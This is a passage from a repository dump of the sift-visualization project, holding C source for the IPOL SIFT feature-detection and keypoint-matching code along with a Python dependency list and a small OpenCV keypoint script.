(0.0133) threshold over the DoG response \\n\");\n fprintf(stderr, \" -thresh_edge (10) threshold over the ratio of principal curvature \\n\");\n fprintf(stderr, \" \\n\");\n fprintf(stderr, \" -ori_nbins (36) number of bins in the orientation histogram \\n\");\n fprintf(stderr, \" -ori_thresh (0.8) threhsold for considering local maxima in \\n\");\n fprintf(stderr, \" the orientation histogram \\n\");\n fprintf(stderr, \" -ori_lambda (1.5) sets how local is the analysis of the gradient \\n\");\n fprintf(stderr, \" distribution \\n\");\n fprintf(stderr, \" \\n\");\n fprintf(stderr, \" -descr_nhist (4) number of histograms per dimension \\n\");\n fprintf(stderr, \" -descr_nori (8) number of bins in each histogram \\n\");\n fprintf(stderr, \" -descr_lambda (6) sets how local the descriptor is \\n\");\n fprintf(stderr, \" \\n\");\n fprintf(stderr, \" -verb_keys label flag to output the intermediary sets of keypoints \\n\");\n fprintf(stderr, \" -verb_ss label flag to output the scalespaces (Gaussian and DoG) \\n\");\n}\n\n\n/**\n *\n * Output\n * -1 : malformed argument\n * 0 : option not found\n * 1 : option found\n */\nstatic int pick_option(int* c, char*** v, char* opt, char* val)\n{\n int output = 0;\n int argc = *c;\n char **argv = *v;\n // scan the command line for '-opt'\n for(int i = 0; i < argc; i++){\n if (argv[i][0] == '-' && 0 == strcmp(argv[i]+1, opt))\n {\n // check for a corresponding value\n if (i == argc-1){\n output = -1;\n }\n else{\n if (argv[i+1][0] == '-'){\n output = -1;\n }\n // if the option call is well formed\n else{\n // copy the option value ...\n strcpy(val, argv[i+1]);\n // ... and remove from the command line\n for (int j = i; j < argc - 2; j++){\n (*v)[j] = (*v)[j+2];\n }\n *c -= 2;\n output = 1;\n }\n }\n // print an error if not succes\n if(output == -1){\n fprintf(stderr, \"Fatal error: option %s requires an argument.\\n\", opt);\n }\n }\n }\n return output;\n}\n\n\n\nstatic int parse_options(int argc, char** argv,\n struct sift_parameters* p,\n int *flag_keys,\n int *flag_ss,\n char* label_keys,\n char* label_ss)\n{\n int isfound;\n char val[128];\n\n isfound = pick_option(&argc, &argv, \"ss_noct\", val);\n if (isfound == 1) p->n_oct = atoi(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"ss_nspo\", val);\n if (isfound == 1) p->n_spo = atoi(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"ss_dmin\", val);\n if (isfound == 1) p->delta_min = atof(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"ss_smin\", val);\n if (isfound == 1) p->sigma_min = atof(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"ss_sin\", val);\n if (isfound == 1) p->sigma_in = atof(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"thresh_dog\", val);\n if (isfound == 1) p->C_DoG = atof(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"thresh_edge\", val);\n if (isfound == 1) p->C_edge = atof(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"ori_nbins\", val);\n if (isfound == 1) p->n_bins = atoi(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"ori_thresh\", val);\n if (isfound == 1) p->t = atof(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"ori_lambda\", val);\n if (isfound == 1) p->lambda_ori = atof(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"descr_nhist\", val);\n if (isfound == 1) p->n_hist = atoi(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"descr_nori\", val);\n if (isfound == 1) p->n_ori = atoi(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"descr_lambda\", val);\n if (isfound == 1) p->lambda_descr = atof(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"verb_keys\", val);\n if (isfound == 1){\n *flag_keys = 1;\n strcpy(label_keys, val);\n }\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"verb_ss\", val);\n if (isfound == 1){\n *flag_ss = 1;\n strcpy(label_ss, val);\n }\n if (isfound == -1) return EXIT_FAILURE;\n\n // check for unknown option call\n for(int i = 0; i < argc; i++){\n if (argv[i][0] == '-'){\n fprintf(stderr, \"Fatal error: option \\\"-%s\\\" is unknown.\\n\", argv[i]+1);\n print_usage();\n return EXIT_FAILURE;\n }\n }\n // check for input image\n if (argc != 2){\n print_usage();\n return EXIT_FAILURE;\n }\n return EXIT_SUCCESS;\n}\n\n\n\n/** @brief Main SIFT routine\n *\n * takes one image as input.\n * outputs the extracted keypoints in the standard output.\n *\n * @param flag for the SIFT transform\n *\n * 0 = one image -> one txt file\n * 1 = one image -> all txt files\n * 2 = one image -> all txt files + scalespace and DoG\n *\n */\nint main(int argc, char **argv)\n{\n // Setting default parameters\n struct sift_parameters* p = sift_assign_default_parameters();\n int flagverb_keys = 0;\n int flagverb_ss = 0;\n char label_ss[256];\n char label_keys[256];\n strcpy(label_ss, \"extra\");\n strcpy(label_keys, \"extra\");\n\n // Parsing command line\n int res = parse_options(argc, argv, p, &flagverb_keys, &flagverb_ss, label_keys, label_ss);\n if (res == EXIT_FAILURE)\n return EXIT_FAILURE;\n\n /** Loading image */\n size_t w, h;\n float* x = io_png_read_f32_gray(argv[1], &w, &h);\n if(!x)\n fatal_error(\"File \\\"%s\\\" not found.\", argv[1]);\n for(int i=0; i < w*h; i++)\n x[i] /= 256.0;\n\n /** Memory dynamic allocation */\n // WARNING 6 steps of the algorithm are recorded.\n struct sift_keypoints **kk = xmalloc(6*sizeof(struct sift_keypoints*));\n for(int i = 0; i < 6; i++)\n kk[i] = sift_malloc_keypoints();\n // WARNING 4 scale-space representation are recorded (Gaussian, Laplacian, two gradient components)\n struct sift_scalespace **ss = xmalloc(4*sizeof(struct sift_scalespace*));\n\n /** Algorithm */\n struct sift_keypoints* k = sift_anatomy(x, w, h, p, ss, kk);\n\n /** OUTPUT */\n int flag = flagverb_keys + 1;\n sift_print_keypoints(k, flag);\n\n char name[FILENAME_MAX];\n if(flagverb_keys == 1){\n sprintf(name,\"static/keypoints/extra_NES_%s.txt\",label_keys); sift_save_keypoints(kk[0], name, 0);\n sprintf(name,\"static/keypoints/extra_DoGSoftThresh_%s.txt\",label_keys); sift_save_keypoints(kk[1], name, 0);\n sprintf(name,\"static/keypoints/extra_ExtrInterp_%s.txt\",label_keys); sift_save_keypoints(kk[2], name, 0);\n sprintf(name,\"static/keypoints/extra_DoGThresh_%s.txt\",label_keys); sift_save_keypoints(kk[3], name, 0);\n sprintf(name,\"static/keypoints/extra_OnEdgeResp_%s.txt\",label_keys); sift_save_keypoints(kk[4], name, 0);\n sprintf(name,\"static/keypoints/extra_FarFromBorder_%s.txt\",label_keys); sift_save_keypoints(k, name, 0);\n }\n if (flagverb_ss == 1){\n sprintf(name,\"static/scalespace/scalespace_%s\",label_ss); print_sift_scalespace_gray_nearestneighbor(ss[0],name);\n sprintf(name,\"static/dog/DoG_%s\",label_ss); print_sift_scalespace_rgb(ss[1],name);\n }\n\n /* memory deallocation */\n xfree(x);\n xfree(p);\n sift_free_keypoints(k);\n for(int i = 0; i < 6; i++){\n sift_free_keypoints(kk[i]);\n }\n xfree(kk);\n for(int i = 0; i < 4; i++){\n sift_free_scalespace(ss[i]);\n }\n xfree(ss);\n return EXIT_SUCCESS;\n}\n" }, { "alpha_fraction": 0.5473995208740234, "alphanum_fraction": 0.5593380331993103, "avg_line_length": 27.294313430786133, "blob_id": "e5334d6a174ce1dc494d2bfab94f5131a0651c2a", "content_id": "3de61aa0b788c7144120b2b69cbf09f713c6e35b", "detected_licenses": [ "MIT", "BSD-2-Clause", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8460, "license_type": "permissive", "max_line_length": 110, "num_lines": 299, "path": "/backend/demo_SIFT/src/lib_keypoint.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\"\n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented\n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n\n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n @file sift_keypoint.c\n * @brief data structures to store information relative to keypoint\n *\n * @li struct keypoint keypoint data structure.\n * @li struct sift_keypoints list of keypoints with variable length.\n * @li print,save, read for lists of keypoints.\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include \"lib_keypoint.h\"\n#include \"lib_util.h\"\n\n\n\n\n\n\nstruct keypoint* sift_malloc_keypoint(int n_ori, int n_hist, int n_bins)\n{\n struct keypoint* key = xmalloc(sizeof(struct keypoint));\n key->n_ori = n_ori;\n key->n_hist = n_hist;\n key->n_bins = n_bins;\n key->descr = xmalloc(n_ori*n_hist*n_hist*sizeof(float));\n key->orihist = xmalloc(n_bins*sizeof(float));\n // set default value\n key->x = 0.;\n key->y = 0.;\n key->sigma = 0.;\n key->theta = 0.;\n key->val = 0;\n key->o = 0;\n key->s = 0;\n key->i = 0;\n key->j = 0;\n for(int n=0;n<n_ori*n_hist*n_hist;n++){\n key->descr[n] = 0.;\n }\n for(int i = 0; i < n_bins; i++){\n key->orihist[i] = 0.;\n }\n // return pointer\n return key;\n}\n\n\nstatic void copy_keypoint(const struct keypoint* kA, struct keypoint* kB)\n{\n int l = kB->n_hist * kB->n_hist * kB->n_ori; // length of the feature vector\n int p = kA->n_hist * kA->n_hist * kA->n_ori;\n assert(p==l);\n // copy struct\n kB->i = kA->i;\n kB->j = kA->j;\n kB->s = kA->s;\n kB->o = kA->o;\n kB->x = kA->x;\n kB->y = kA->y;\n kB->sigma = kA->sigma;\n kB->val = kA->val;\n kB->theta = kA->theta;\n kB->edgeResp = kA->edgeResp;\n for(int n = 0; n < l; n++){\n kB->descr[n] = kA->descr[n];\n }\n for(int n = 0; n < kB->n_bins; n++){\n kB->orihist[n] = kA->orihist[n];\n }\n}\n\nstruct keypoint* sift_malloc_keypoint_from_model_and_copy(const struct keypoint* key)\n{\n int n_hist = key->n_hist; /* number of histograms per direction in the feature vector */\n int n_ori = key->n_ori; /* number of bins in each orientation histogram */\n int n_bins = key->n_bins; /* number of bins in the orientation histogram for orientation attribution */\n struct keypoint* keycp = sift_malloc_keypoint(n_ori,n_hist,n_bins);\n copy_keypoint(key, keycp);\n return keycp;\n}\n\n\nstruct sift_keypoints* sift_malloc_keypoints()\n{\n struct sift_keypoints * keys = xmalloc(1*sizeof(struct sift_keypoints));\n keys->list = xmalloc(100*sizeof(struct keypoint*));\n keys->capacity = 100;\n keys->size = 0;\n return keys;\n}\n\n\nstatic void realloc_sift_keypoints(struct sift_keypoints* keys)\n{\n keys->list = (struct keypoint**)xrealloc(keys->list, 2*keys->capacity*sizeof(struct keypoint*));\n keys->capacity = 2*keys->capacity;\n}\n\nvoid sift_add_keypoint_to_list(struct keypoint* key,\n struct sift_keypoints* keys)\n{\n if(keys->size > keys->capacity - 1) // checks the memory limit\n {\n realloc_sift_keypoints(keys);\n }\n keys->list[keys->size] = key;\n keys->size += 1;\n}\n\n\nvoid sift_free_keypoint(struct keypoint* key)\n{\n xfree(key->orihist);\n xfree(key->descr);\n xfree(key);\n}\n\n\nvoid sift_free_keypoints(struct sift_keypoints* keys)\n{\n for(int k = 0; k < keys->size; k++){\n sift_free_keypoint(keys->list[k]);\n }\n xfree(keys->list);\n xfree(keys);\n}\n\nvoid fprintf_one_keypoint(FILE* f, const struct keypoint* k, int n_descr, int n_bins, int flag)\n{\n // coordinates\n fprintf(f,\"%f %f %f %f %i %i\", k->x\n , k->y\n , k->sigma\n , k->theta\n , k->o\n , k->s);\n\n if (flag>0){\n // descriptor\n for(int n = 0; n < n_descr; n++){\n fprintf(f,\" %i\", (int)k->descr[n]);\n }\n }\n if (flag>1){\n // orientation histogram\n for(int n = 0; n < n_bins; n++){\n fprintf(f,\" %f\", k->orihist[n]);\n }\n\n }\n}\n\n\nvoid fprintf_keypoints(FILE* f, const struct sift_keypoints* keys, int flag)\n{\n if (keys->size > 0){\n\n int n_hist = keys->list[0]->n_hist;\n int n_ori = keys->list[0]->n_ori;\n int n_descr = n_hist*n_hist*n_ori;\n int n_bins = keys->list[0]->n_bins;\n\n for(int k=0;k<keys->size;k++){\n struct keypoint* key = keys->list[k];\n fprintf_one_keypoint(f, key, n_descr, n_bins, flag);\n fprintf(f,\"\\n\");\n }\n }\n}\n\n\nvoid sift_save_keypoints(const struct sift_keypoints* keys, const char* name, int flag)\n{\n FILE* f = fopen(name,\"w\");\n if (!f){\n fatal_error(\"Failed to open %s for writing\\n\", name);\n }\n fprintf_keypoints(f, keys, flag);\n fclose(f);\n}\n\n\nvoid sift_print_keypoints(const struct sift_keypoints* keys, int flag)\n{\n fprintf_keypoints(stdout, keys, flag);\n}\n\n\n\n\n\n\n/** @brief read list of oriented keypoints from txt file\n *\n * @param keys = output list of keypoints\n * @param name = input filename\n *\n * @param n_hist the descriptor has (n_hist*n_hist) weighted coefficients.\n * @param n_ori the descriptor has (n_hist*n_hist*n_ori) coefficients\n * @param n_bins the size of the orientation histogram\n *\n */\nvoid sift_read_keypoints(struct sift_keypoints* keys,\n const char* name,\n int n_hist,\n int n_ori,\n int n_bins,\n int flag)\n{\n size_t buffer_size = 1024 * 1024; // 1MB buffer for long lines.\n char* buffer = xmalloc(buffer_size);\n FILE* stream = fopen(name,\"r\");\n if ( !stream)\n fatal_error(\"File \\\"%s\\\" not found.\", name);\n while(fgets(buffer, buffer_size, stream) != NULL){\n int pos = 0;\n int read = 0;\n struct keypoint* key = sift_malloc_keypoint(n_ori, n_hist, n_bins);\n // read coordinates\n sscanf(buffer+pos,\"%f %f %f %f %n\", &key->x\n , &key->y\n , &key->sigma\n , &key->theta\n , &read);\n pos+=read;\n if (flag > 0){\n // read descriptor\n for(int i = 0; i < n_hist*n_hist*n_ori; i++){\n sscanf(buffer+pos, \"%f %n\",&(key->descr[i]),&read);\n pos +=read;\n }\n }\n if (flag > 1){\n // read orientation histogram\n for(int i=0;i<n_bins;i++){\n sscanf(buffer+pos, \"%f %n\",&(key->orihist[i]),&read);\n pos += read;\n }\n }\n sift_add_keypoint_to_list(key,keys);\n }\n xfree(buffer);\n}\n" }, { "alpha_fraction": 0.4849884510040283, "alphanum_fraction": 0.6951501369476318, "avg_line_length": 15.65384578704834, "blob_id": "07a99ee4bc5e5d78e5d4a3dddada2af1f5f63abc", "content_id": "9b1c12ea5e6fa5e7dfdee29a246676eee0474316", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 433, "license_type": "permissive", "max_line_length": 31, "num_lines": 26, "path": "/backend/requirements.txt", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "asn1crypto==0.24.0\ncffi==1.12.3\nClick==7.0\ncryptography==2.1.4\nCython==0.29.9\nFlask==1.0.3\nFlask-Cors==3.0.7\nidna==2.6\nitsdangerous==1.1.0\nJinja2==2.10.1\nkeyring==10.6.0\nkeyrings.alt==3.0\nMarkupSafe==1.1.1\nnumpy==1.16.4\nopencv-contrib-python==3.4.2.16\nopencv-python==4.1.0.25\nPillow==6.1.0\npycairo==1.16.2\npycparser==2.19\npycrypto==2.6.1\npygobject==3.26.1\npyxdg==0.25\nSecretStorage==2.3.1\nsix==1.12.0\nUNKNOWN==0.0.0\nWerkzeug==0.15.4\n" }, { "alpha_fraction": 0.5412793755531311, "alphanum_fraction": 0.5655184984207153, "avg_line_length": 30.90116310119629, "blob_id": "ee16a1394713694055fd3bbf8038e788bbc03ca3", "content_id": "7e84358f2b47d1655809afcbcc35e41db10da87f", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5487, "license_type": "permissive", "max_line_length": 79, "num_lines": 172, "path": "/backend/demo_SIFT/src/lib_matching.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented \n\n [3] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file sift_matching.c\n * @brief data structures to store information relative to a pair of keypoints\n *\n * @li struct keypointPr : Pair of keypoint data structure.\n * @li struct keypointPr_list : List of pairs.\n * @li print,save, read for lists of pairs.\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <math.h>\n#include \"lib_keypoint.h\"\n#include \"lib_matching.h\"\n#include \"lib_util.h\"\n\nstatic void compute_keypoints_distance(float* dist,\n const struct sift_keypoints *k1,\n const struct sift_keypoints *k2)\n{\n int n_hist = k1->list[0]->n_hist;\n int n_ori = k1->list[0]->n_ori;\n int dim = n_hist*n_hist*n_ori;\n int n1 = k1->size;\n int n2 = k2->size;\n for(int i = 0; i < n1; i++){\n const float * v1 = k1->list[i]->descr;\n for(int j = 0; j < n2; j++){\n const float * v2 = k2->list[j]->descr;\n float d = euclidean_distance(v1, v2, dim);\n dist[i*n2+j] = d;\n }\n }\n}\n\n\nstatic void find_the_two_nearest_keys(const float* dist, int n1, int n2,\n int* indexA, int* indexB,\n float* distA, float* distB)\n{\n for(int i = 0; i < n1; i++){\n int iA, iB;\n float dA, dB;\n find_array_two_min(&dist[i*n2], n2, &dA, &dB, &iA, &iB);\n indexA[i] = iA;\n indexB[i] = iB;\n distA[i] = dA;\n distB[i] = dB;\n }\n}\n\nvoid matching(struct sift_keypoints *k1,\n struct sift_keypoints *k2,\n struct sift_keypoints *out_k1,\n struct sift_keypoints *out_k2A,\n struct sift_keypoints *out_k2B,\n float thresh,\n int flag)\n{\n int n1 = k1->size;\n int n2 = k2->size;\n\n float* dist = (float*)xmalloc(n1*n2*sizeof(float));\n float* distA = (float*)xmalloc(n1*sizeof(float));\n float* distB = (float*)xmalloc(n1*sizeof(float));\n int* indexA = (int*)xmalloc(n1*sizeof(int));\n int* indexB = (int*)xmalloc(n1*sizeof(int));\n\n compute_keypoints_distance(dist, k1, k2);\n find_the_two_nearest_keys(dist, n1, n2, indexA, indexB, distA, distB);\n\n int j = 0;\n for(int i = 0; i < n1; i++){\n float val;\n val = (flag == 1 ? distA[i]/distB[i] : distA[i]);\n if (val < thresh){\n int iA = indexA[i];\n int iB = indexB[i];\n struct keypoint* k;\n k = sift_malloc_keypoint_from_model_and_copy(k1->list[i]);\n sift_add_keypoint_to_list(k, out_k1);\n k = sift_malloc_keypoint_from_model_and_copy(k2->list[iA]);\n sift_add_keypoint_to_list(k, out_k2A);\n k = sift_malloc_keypoint_from_model_and_copy(k2->list[iB]);\n sift_add_keypoint_to_list(k, out_k2B);\n j++;\n }\n }\n\n free(dist);\n free(indexA);\n free(indexB);\n free(distA);\n free(distB);\n}\n\nvoid print_pairs(const struct sift_keypoints *k1,\n const struct sift_keypoints *k2)\n{\n if (k1->size > 0){\n int n = k1->size;\n for(int i = 0; i < n ;i++){\n fprintf_one_keypoint(stdout, k1->list[i], 0, 0, 0);\n fprintf_one_keypoint(stdout, k2->list[i], 0, 0, 0);\n fprintf(stdout, \"\\n\");\n }\n }\n}\n\nvoid save_pairs_extra(const char* name,\n const struct sift_keypoints *k1,\n const struct sift_keypoints *k2A,\n const struct sift_keypoints *k2B)\n{\n FILE* f = fopen(name,\"w\");\n \n if (k1->size > 0){\n\n int n_hist = k1->list[0]->n_hist;\n int n_ori = k1->list[0]->n_ori;\n int dim = n_hist*n_hist*n_ori;\n int n_bins = k1->list[0]->n_bins;\n int n = k1->size;\n for(int i = 0; i < n; i++){\n fprintf_one_keypoint(f, k1->list[i], dim, n_bins, 2);\n fprintf_one_keypoint(f, k2A->list[i], dim, n_bins, 2);\n fprintf_one_keypoint(f, k2B->list[i], dim, n_bins, 2);\n fprintf(f, \"\\n\");\n }\n }\n fclose(f);\n}\n" }, { "alpha_fraction": 0.6547314524650574, "alphanum_fraction": 0.6777493357658386, "avg_line_length": 34.01492691040039, "blob_id": "7ace1e3e69fa7aa1a5b8d253a08d8dcafd3bd4ae", "content_id": "63e6e927f9270480975504b37326ca05ae8d1bfd", "detected_licenses": [ "MIT", "BSD-2-Clause", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2346, "license_type": "permissive", "max_line_length": 79, "num_lines": 67, "path": "/backend/demo_SIFT/src/lib_matching.h", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented \n\n [3] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file lib_matching.h\n * @brief data structures to store information relative to a pair of keypoints\n *\n * @li struct keypointPr : Pair of keypoint data structure.\n * @li struct keypointPr_list : List of pairs.\n * @li print,save, read for lists of pairs.\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n#ifndef _LIB_MATCHING_H_\n#define _LIB_MATCHING_H_\n\nvoid matching(struct sift_keypoints *k1,\n struct sift_keypoints *k2,\n struct sift_keypoints *out_k1,\n struct sift_keypoints *out_k2A,\n struct sift_keypoints *out_k2B,\n float thresh,\n int flag);\n\nvoid print_pairs(const struct sift_keypoints *k1,\n const struct sift_keypoints *k2);\n\nvoid save_pairs_extra(const char* name,\n const struct sift_keypoints *k1,\n const struct sift_keypoints *k2A,\n const struct sift_keypoints *k2B);\n\n#endif\n" }, { "alpha_fraction": 0.6577946543693542, "alphanum_fraction": 0.6882129311561584, "avg_line_length": 26.6842098236084, "blob_id": "45f0df211847e11d7947ae9d0c109f1434cd4b77", "content_id": "fba311c06183c754f918c172c7f01b777b86e449", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 526, "license_type": "permissive", "max_line_length": 47, "num_lines": 19, "path": "/backend/my_blueprints/draw_keypoints.py", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "# import cv2\n# import numpy as np\n#\n# img = cv2.imread('home.jpg')\n# gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n# sift = cv2.xfeatures2d.SIFT_create()\n# kp = sift.detect(gray,None)\n# img=cv2.drawKeypoints(gray,kp,img)\n# cv2.imwrite('sift_keypoints.jpg',img)\n\nimport cv2, numpy as np\n\ndef draw_keypoints(inputImage_name):\n img = cv2.imread(inputImage_name)\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n sift = cv2.xfeatures2d.SIFT_create()\n kp = sift.detect(gray,None)\n for point in kp:\n print(point.pt)\n" }, { "alpha_fraction": 0.5285297632217407, "alphanum_fraction": 0.5410245656967163, "avg_line_length": 21.976076126098633, "blob_id": "8165fd310b45d0f229830daa1d1710b094d7d582", "content_id": "fa8cc9c901197f0d6a843cf999d03901847d4540", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4802, "license_type": "permissive", "max_line_length": 99, "num_lines": 209, "path": "/backend/demo_SIFT/src/lib_util.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "#include <float.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n\n// Allocate memory or abord on failure\nvoid* xmalloc(size_t size)\n{\n if (size == 0)\n fprintf(stderr,\"xmalloc: zero size\");\n void *p = malloc(size);\n if (!p)\n {\n double sm = size / (0x100000 * 1.0);\n fprintf(stderr,\"xmalloc: out of memory when requesting \"\n \"%zu bytes (%gMB)\",//:\\\"%s\\\"\",\n size, sm);//, strerror(errno));\n }\n return p;\n}\n\n// Reallocate memory of abort on failure\nvoid* xrealloc(void* p, size_t size)\n{\n void *r = realloc(p, size);\n if (!r) fprintf(stderr,\"realloc failed\");\n return r;\n}\n\n// Free memory allocated by xmalloc or xrealloc.\nvoid xfree(void* p)\n{\n if (!p)\n fprintf(stderr,\"trying to free a null pointer\");\n free(p);\n}\n\n// Write a formatted message to standard error and abort the program, for\n// example, fatal_error(\"Failed to open file %s for writing\", filename);\nvoid fatal_error(const char* format, ...)\n{\n va_list args;\n va_start(args, format);\n fprintf(stderr, \"Fatal error: \");\n vfprintf(stderr, format, args);\n fprintf(stderr, \"\\n\");\n va_end(args);\n exit(1);\n}\n\n// Write formatted message to standard error for debugging.\nvoid debug(const char* format, ...)\n{\n va_list args;\n va_start(args, format);\n fprintf(stderr, \"Debug: \");\n vfprintf(stderr, format, args);\n fprintf(stderr, \"\\n\");\n va_end(args);\n}\n\n// Find the maximum value of an array and store its index in the array.\nfloat find_array_max(const float* array, int length, int *position)\n{\n double max = -FLT_MAX;\n for(int i = 0; i < length; i++){\n if(array[i] > max){\n *position = i;\n max = array[i];\n }\n }\n return max;\n}\n\n// Find the minimum value of an array and store its index in the array.\nfloat find_array_min(const float* array, int length, int *position)\n{\n double min = FLT_MAX;\n for(int i = 0; i < length; i++){\n if(array[i] < min){\n min = array[i];\n *position = i;\n }\n }\n return min;\n}\n\n// Find the maximum value of an array.\nfloat array_max(const float* array, int length)\n{\n int i;\n float max = find_array_max(array, length, &i);\n (void)i;\n return max;\n}\n\n// Find the minimum value of an array.\nfloat array_min(const float* array, int length)\n{\n int i;\n float min = find_array_min(array, length, &i);\n (void)i;\n return min;\n}\n\n// Find the two minimal values of an array.\nvoid find_array_two_min(const float* array, int length, float* minA, float* minB, int* iA, int* iB)\n{\n if(array[0] < array[1]){\n *iA = 0;\n *iB = 1;\n *minA = array[0];\n *minB = array[1];\n }\n else{\n *iA = 1;\n *iB = 0;\n *minA = array[1];\n *minB = array[0];\n }\n for(int i = 2; i < length; i++){\n if(array[i] < *minA){\n *minB = *minA;\n *minA = array[i];\n *iB = *iA;\n *iA = i;\n }\n else if( array[i] < *minB){\n *minB = array[i];\n *iB = i;\n }\n }\n}\n\n// Compute the SQUARE Euclidean distance.\nfloat euclidean_distance_square(const float* a1, const float* a2, int length)\n{\n float d = 0.0;\n for(int i = 0; i < length; i++){\n float t = (a1[i] - a2[i]);\n d += t*t;\n }\n return d;\n}\n\n// Compute the Euclidean distance.\nfloat euclidean_distance(const float* a1, const float* a2, int length)\n{\n float d = euclidean_distance_square(a1,a2,length);\n d = sqrt(d);\n return d;\n}\n\n// L2 norm of a vector\nfloat array_l2norm(const float* array, int length)\n{\n float l2norm = 0;\n for(int i = 0; i < length; i++){\n l2norm += array[i]*array[i];\n }\n l2norm = sqrt(l2norm);\n return l2norm;\n}\n\n// Linearly rescale input such that its values are in the range [0, 1].\nvoid linear_conversion(const float *in, float *out, 